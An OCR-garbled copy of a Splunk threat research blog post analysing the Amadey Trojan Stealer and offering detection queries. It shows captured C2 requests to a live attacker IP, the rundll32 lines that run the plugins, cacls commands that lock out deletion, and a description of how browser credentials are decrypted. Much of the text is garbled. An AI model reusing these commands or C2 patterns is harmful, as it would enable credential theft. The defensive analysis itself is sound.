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The Amadey Trojan Stealer, an active and prominent malware, first emerged on the cybersecurity landscape in

2018 and has maintained a persistent botnet infrastructure ever since. Several campaigns have used this malware,

like the previous Splunk Threat Research blog related to RedLine loader, the multi-stage attack distribution article

from McAfee in May 2023 and the campaign where it uses N-day vulnerabilities to deliver Amadey malware
noted in March 2023 by DarkTrace.

The emergence and increasing prevalence of Malware as a Service (MaaS) has become a notable trend within the
current cyber threat landscape. MaaS$S has gained popularity as a common tool in the arsenal of threat actors,

enabling them to conduct and facilitate widespread cyberattack campaigns.

Malware as a Service refers to a model where cybercriminals offer malware-related services or resources for rent
or purchase to other malicious actors. This approach provides several advantages to both skilled and novice

attackers.

Amadey is among the prevalent forms of malware that utilize MaaS to deliver multiple malwares, updated copies
of itself, and various Amadey plugins or attacks designed for information theft. The figure below illustrates a basic
diagram of how Amadey attempts to compromise systems and download several malwares or its plugins for data

collection and exfiltration.
This blog post provides a deep dive analysis of this threat, including:

1. Amadey Anti-Sandbox

2. Its Persistence mechanism

3. Its Defense Evasion in terms of file and directory permission modification
4. C2 communication

5. Data collection
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In the following section, we explore Amadey Tactics, techniques and its capabilities to compromise a targeted host

or system.

Anti-Sandbox

This Trojan Stealer begins its code by running a function responsible for decoding strings related to the folder

name and file name that will be used to check the file path of its running process. If the running process is in
%temp%\{decrypted_folder_name}\{decrypted_filename} e.g. (%temp\a9e2a16078\oneext.exe)

it will continue the execution. If the file location doesn’t match, Amadey will terminate its process.

This malware uses two layers of encoding algorithms to its string to evade detection and make the static analysis

even harder. The first layer of encoding is a customized encoding followed by a Base64 algorithm.
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Figure 1 is the code screenshot of this malware comparing the file path of its running process if it is matched to

the decoded file path initialized in its code.

p TempFilePath, strlen(lpstrTempFilePath});
eyDefaultTempFilePath, lpAmadeyFilePath);

Figure 1: File Path Comparison

It also creates a mutex using CreateMutexA() API to make sure only one instance of its malware process is

running on the compromised or targeted host.

push
call
call

call
endp

Figure

2: CreateMutexA Code

Persistence
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Similar to other malware strains, Amadey employs multiple persistence mechanisms to ensure its survival and
automatic execution upon system reboot. Figure 3 is the Amadey registry strings Splunk decoded that are related

to its persistence mechanism.

Regular decoded sub

67 Regular decoded rw_init_reg_user_shell

Regular decoded_str: sub_4012E0

01247 Regular

Figure 3: Registry Run Keys

mw_init_runonce

In addition to leveraging the commonly targeted 'Run' and 'RunOnce' registry keys, Amadey modifies the 'startup’

value within the 'User Shell Folders' keys, enabling it to automatically execute its malicious drop file upon system

reboot.
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Figure 4: User Shell Folder Registry
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Amadey also creates scheduled tasks as part of its persistence and privilege escalation mechanism. If the

permissions on the scheduled task creation are misconfigured, Amadey can take advantage of this to create a

scheduled task that runs with higher privileges.

Figure 5 shows a screenshot of Amadey schedule task (metado.exe) in Attack Range during our testing.
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Mame Status Triggers Mext Run Tirme Last Run Time La
(% Amazon Ec2.. Disabled At system startup 5/24/2023 11:01:00 AM  Thy
% aurora-agen... Ready At 12:30 PM every Monday of every week, starting 5/25/2023 6/5/2023 5:29:52 FM  5/30/2023 407:52 PM  Th|
% aurora-agen.., Ready Multiple triggers defined /3172023 TAT:35PM 5/31/2023 TS890 AM Th
& metado.exe  Running At &12 AM on 5/31/2023 - After triggered, repeat every 00:01:00 indefinitely. 5/31/2023 8:25:00 AM  5/31/2023 22400 AM  Th|
% npeapwatch... Ready At systern startup 5/31/2023 T:5T5TAML Th
< >
General Triggers Actions Conditions Settings History
When you create a task, you can specify the conditions that will trigger the task. To change these triggers, open the task property pages using the
Properties command.
Trigger Details Status
{One time At 8:12 AM on 5/31/2023 - After tniggered, repeat every 00:01:00 indefinitely. Enabled

Figure 5: Amadey Schedule tasks

Defense Evasion (File And Directory Permission)

Amadey employs a technique utilizing cacls.exe to modify file and directory permissions or attributes, effectively
bypassing access control lists (ACLs) and gaining access to protected files. By configuring read-only access
permissions specifically for the active current user on the compromised host, it prevents the user from deleting the

dropped copy of itself, ensuring its persistence on the system and as part of its defense mechanism.

The code block below is a simple way to simulate this technique which also available in Atomic Red Team
GitHub repo e.g. (I1546.008)

Figure 6 shows the “File Access Denied” when we tried to delete the dropped copy of this Trojan Stealer during

testing.
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MName Date modified Type Size
ll__-‘metadn.&xe'l 5/30/2023 10:40 AM  Application 211 KB
File Access Denied >

f You need permission to perform this action

You require permission from AR-WIN-2\Administrator to make changes to
this file

metado.exe
Date created: 5/30/2023 412 PM
Size: 210 KB

Try Again Cancel

Figure 6:

Read Only Permission

Execution

Amadey exhibits the capability of remote signing PowerShell scripts, which allows for the unhindered execution
of locally created scripts. This technique was observed in the Amadey campaign that disseminated the downloaded

LockBit ransomware payload in the form of PowerShell code. To execute the LockBit ransomware PowerShell

script, Amadey leverages the RemoteSigned execution policy, ensuring that the script is allowed to run without
restrictions. During our analysis, we discovered that the renamed function "mw_init_powershell_cmd()" decodes

the command line for remote signing, as shown in Figure 7.

525 (ed02007  Regular decoded str -executionpolicy remotesigned -File

mw_init_powershell_cmd

Figure 7: Remote Signing

Command and Control

Amadey will execute 2 threads to establish communication and download payloads/plugins from its command and
control (C2) server. This concurrent execution mechanism enables efficient data exchange and retrieval between

Amadey and its C2 infrastructure.

Figure 8 shows the Amadey code screenshot that collects system information on the compromised host like OS

version, user name, computer name, Domain name and if the current active user is admin or not.
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Figure 8: System Information

Amadey compiles the gathered information into a string format and proceeds to send it to its command and
control (C2) server. This process involves formatting the data in a structured string to ensure seamless
communication with the C2 infrastructure. The figure 9 shows the clear text POST HTTP packet of Amadey to its

C2 server to send the formatted system information of the compromised host.
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POST /wings/game/index.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Host: 77.91.68.62

Content-Length: 186

Cache-Control: no-cache

id=2366788181738vs=3.834sd=6286bclos=28bi=1Rar=18pc=AR-WIN-28un=Administrator&dm=-unicode-8av=13R1v=080g=1HTTP/1.1
288 0K

Server: nginx/1.18.8 (Ubuntu)

Date: Tue, 386 May 2823 16:12:46 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Figure 9: HTTP POST Data

The table below outlines the description of each tag in the HTTP POST data that the Amadey Trojan Stealer
attempts to send to its command and control (C2) server. This table provides a detailed breakdown of the tags and

their respective meanings in the context of the data being sent.

Data Collection And Exfiltration (.DLL Plugins)

Amadey attempts to download two specific .dll plugins, namely, "clip64.dll" and "cred64.dll," onto the
compromised host. These plugins play a crucial role in collecting sensitive information. To execute these plugins,
Amadey utilizes the Windows operating system's rundll32.exe utility, passing the "Main" export name parameter

as part of the execution process.

GET /wings/game/Plugins/E¥f64.d11 HTTP/1.1
Host: 77.91.68.62

HTTP/1.1 260 OK

Server: nginx/1.18.2 (Ubuntu)

Date: Tue, 38 May 2823 16:13:36 GMT
Content-Type: application/octet-stream
Content-Length: 91136

Last-Modified: Thu, 25 May 2823 15:14:21 GMT
Connection: keep-alive

ETag: "646f7b4d-16408"

Accept-Ranges: bytes

B e sl Rl ek i [ e AP 10 i o S oD S e e S e .1..L.!This program cannot be run
in DOS mode,

| e 0" JE " "R L T oW einaa L mly. .. .. ~Ry..... ~by o T iy ... ~By . By....
By RICHCY: s s sauses PEsalos Kpodeccssssnass laswsases ; P T T
e e e e o e e T e

A - B Ve g P oy S e LT Re s i eein w & S i P P T e A e T el e i s i A W ale e

Figure 10.1: Amadey plugins

metado. exe “C:\Users\Administrator\adeJa16078\metado. exe” fotol48.exe “C:\Users\ADMINI~1\AppData\Local\Temp\2\1800008051\foto148. exe"

metado. exe “C:\Users\Administrator\ade2al6078\netado. exe” fotocrs.exe "C:\Users\ADMINI-1\AppData\Local \Temp\2\ 1000003051\ fotocr 6. exe”

metado. exe “C:\Users\Administrator\age2a16078\metado. exe" rund1132. exe “C:\Windows\System32\rund1132.exe” C:\Users\Administrator\AppData\Roaming\0@670@e5a2abes\cLip6a. dil,
Main

metado. exe “C:\Users\Administrator\ade2a16878\metado. exe” rundl132. exe “C:\Windows\System32\rund1132.exe" C:\Users\Administrator\AppData\Roaming\806788e5a2ab85\cLip6a. d11,
Main

metado. exe “C:\Users\Administrator\ade2a16978\metado. exe” rundl132.exe “C:\Windows\System32\rund1132.exe” C:\Users\Administrator\AppData\Roaming\0@670ees5azabes\clipsa. dil,
Main

metado. exe “C:\Users\Administrator\age2a16078\metado. exe" rund1132. exe *C:\Windows\System32\rund1132.exe” C:\Users\Administrator\AppData\Roaming\@@670@e5a2abes\clip6d. dil,

Main

Figure 10.2: Rundll32 Execution
The clip64.dll plugin plays a pivotal role in the Amadey Trojan's operations. The primary function is to gather

clipboard data from the compromised host and transmit it to the designated command and control (C2) server.

This is achieved by leveraging the Windows API function GetClipboardData().
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| Con
deCharStr

Figure
10.3: GetClipBoardData

The cred64.dll plugin, on the other hand, focuses on acquiring sensitive information, specifically browser
credentials. It targets a variety of browsers such as Chrome, Opera, Sputniklab, Chromium, Comodo, Vivaldi,
Orbitum, CocCoc, Chedot, and CentBrowser. By accessing the user profile files associated with these browsers, as

shown in Figure 11.1, the plugin aims to crack or decrypt the stored credentials within the compromised host's

browsers.
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Figure 11.1: Cred64.dll

Figure 11.2 illustrates a simplified diagram showcasing the functionality of the cred64.dll plugin in its attempt to
crack or decrypt passwords stored within the Chrome browser. This process involves accessing specific Chrome
profile files, namely "local state" and "login data." By interacting with these files, the plugin aims to retrieve and

decrypt the stored passwords.
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Figure 11.2: Decrypt Chrome Password

The versatility and adaptability of Amadey are deeply concerning, demonstrated by its widespread utilization of
MaaS, anti-sandbox techniques, persistence mechanisms, defense evasion, and advanced data collection
capabilities. This Trojan is emblematic of the evolving threats that are pervasive today, using innovative
techniques to evade detection and inflict damage. As our detailed investigation shows, Amadey effectively
bypasses access control lists, executes remote signed PowerShell scripts, collects system information, and

communicates with its C2 server to achieve its malicious objectives.

Additionally, it's worth highlighting the critical role of its .dll plugins in data exfiltration. The "clip64.dll" and
"cred64.dll" plugins serve as crucial tools in collecting sensitive data from compromised hosts, further underlining

the multifaceted nature of this threat.

In the subsequent section, we provide the IOCs related to Amadey, followed by the curated detections from

Splunk. This further equips security analysts to detect and combat this ever-persistent threat.

Page 11 of 14



https://www.splunk.com /en_us/blog/security/amadey-threat-analysis-and-detections.html

1I0C

Detections

The Splunk Threat Research Team has curated relevant detections and tagged them to the Amadey Trojan Stealer

Analytic Story to help security analysts detect adversaries leveraging the Amadey malware.
This release used and considered the relevant data endpoint telemetry sources such as:

e Process Execution & Command Line Logging

e Windows Security Event ID 4663, Sysmon, or any Common Information Model compliant EDR
technology

e Windows Security Event Log

e Windows System Event Log

e Windows PowerShell Script Block Logging

As an example, the analytic Windows Files and Dirs Access Rights Modification Via Icacls identifies a

potential adversary that changes the security permission of a specific file or directory.

| tstats ‘security_content_summariesonly' min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoit
where Processes.process_name IN( "icacls.exe", "cacls.exe","xcacls.exe")
AND Processes.process IN ("*:R*", "#iW*" Uk pEt o MkpCxn Mkt Uk/pxnt Uk /EXM) by Processes.parent_process.
| “drop_dm_object_name(Processes)®
| ‘security_content_ctime(firstTime)"

| “security_content_ctime(lastTime)®

New Search

tstats “security_content_summariesonly’ min(_time x(_time) as lastTime datanodel=Endpoint . Processes
Pr ocess_name [N( “ieacls.exe”, "cacls.e xe")
Processes.process 1N ("x:R*", "%iW'| "s:Fa", "#10x",, “x:Nx") by Processes. parent_process_name Processes.parent process Processes.process_name Processes. process Processes.process_guid Processes.dest Processes.user
| “drop_ ect_name(Processes)

| “secur me)'

| "security_content_ctime(lastTime)

~ 43 events (30/05/2023 09:00:00.000 to 06/06/2023 09:08:16.000)  No Event Sampling v

Events (43)  Pattems  Statistics (27)  Visualization
20 PerPage~  /Format  Preview
z ’
parent_process_name ¢ parent_process & /  process_name ¢ process & ’ dest ¢
md, exe \Wind ado. exe” or:N"Bamp; £amp; CACLS "me . a9¢2216078" /P ar-wir
i 16878 /P or:N"Lamp;damp; CACLS * Administrator:N® 2. attacl lecal

cnd, exe C:\Windows\System32\cnd.exe” /k echo YICACLS “metado.exe® (P “Administrator:N"&amp;&amp;CACLS “metado.exe* /P cacls.exe CACLS *..\a%2al6e7s" /P ar-win=

AC

“Administrator:R* /E8amp;&amp;echo Y|CACLS . \a%2a16078" /P “Administrator:N"Samp;samy LS *..\a%e2a16078 “Administrator:N®

2.attackrange . local
/P “Administrator:R® /ERamp;Bamp;Exit

dow

P cacls.e " ar-wir
. tra P 2.attackrange. local
P
d, exe *C: \Windows\Systen32\cad . exe” /k echo Y|CACLS “metado.exe® /P “Administrator:N"kamp;8amp;CACLS cacls.exe ACLS *..\aSe2al6e78" /P ar-wir
ator: ;Bamp;echs Y|CACLS .. \a%e2a16878° /P “Adwinistrator:N"&amp;aamp;CACLS *..\a “Administrator:N* 2.attackrange. local
p; Ramp; Exi t
d . e A\window: \cod. exe” /k echo Y|CACLS “metado.exe” /P “agministrator:N"&amp;&amy cacls. exe CACLS "..\a%e2al6@7s" /P ar-win
inistrator:R* /E8asp;Eamp;echo Y|CACLS *..\a%2a16078° /P “Agministrator:N"&amp;&am “Administrator:N 2.attackrange. local
P “Administrator:R" /ERamp;&amp;Exit
md ., e ® /k echo Y|CACLS “metado.exe® /P “Administrator:N“Lamp;&amp:CACLS * cacls. exe CacLs * a%e2al6e7s” /P ar-win
echo Y|CACLS *..\ade2al16078" /P *Administrator:N"&amp;samp;CACLS " “Administrator:R® /E 2.attackrange. local
md e \Windows\Systemi2\cm CACLS "metado.exe or:N"&amp ; &amp; CA metado.exe® /P cacls.exe ACLS a%e2al6e7s” /P Wi
*Administrator:R \23e2215878 or:N*Bamp; &any *Administrator:R* /E 2.attackrange. Local
d . ex /k echo Y|CACLS "metado.exe® /P "Administrator:N"&amp;8amp;CACLS "metado.exe® /P cacls.exe CACLS *. \a92a16078" /P (@3799797-244D-6476 ar-win
833p;8amp;echo Y|CACLS *..\a9e2316878" (P “Adninistrator:N8amp;aamp;CACLS *..\a3e2a16878" *Administrator:R* /E 3002-2800008 2.attackrange. local

P "Administrator:R* /EBamp;&amp;Exit

Figure 12: File and Directory Permission Modification
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The Registry Keys Used For Persistence analytic was updated to detect the registry modification of Amadey to

“User Shell Folders” for its persistence mechanism.

New Search = ST

WARE \ \Microsof t\\WindowS\\Cur rentVersion\\Runonce
\\Explorer\\StartupApproved\\Run

06/2023 10:32:00000)  No Event Sampling ~

dest * 4 users s

Figure 13: Persistence
Overall, the Amadey Trojan Stealer analytic story introduces 11 detections across MITRE ATT&CK techniques.

Playbooks

Non-hunting detections associated with this analytic story create entries in the Splunk Enterprise Security risk
index by default and can be used seamlessly with risk notables and the Risk Notable Playbook Pack. Additionally,

the Automated Enrichment playbook pack also works well with the output of any of these analytics.

Why Should You Care?

This blog enables security analysts, blue teamers and Splunk customers to identify Amadey Trojan Stealer
malware by helping the community discover Amadey tactics, techniques and procedures that are being used by
several threat actors and adversaries. By understanding its behaviors, we were able to generate telemetry and

datasets to develop and test Splunk detections designed to defend and respond against this threat.

Learn More
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You can find the latest content about security analytic stories on GitHub and in Splunkbase. Splunk Security,

Essentials also has all these detections available via push update.

For a full list of security content, check out the release notes on Splunk Docs.

Feedback

Any feedback or requests? Feel free to put in an issue on GitHub and we’ll follow up. Alternatively, join us on the

Slack channel #security-research. Follow these instructions If you need an invitation to our Splunk user groups on
Slack.
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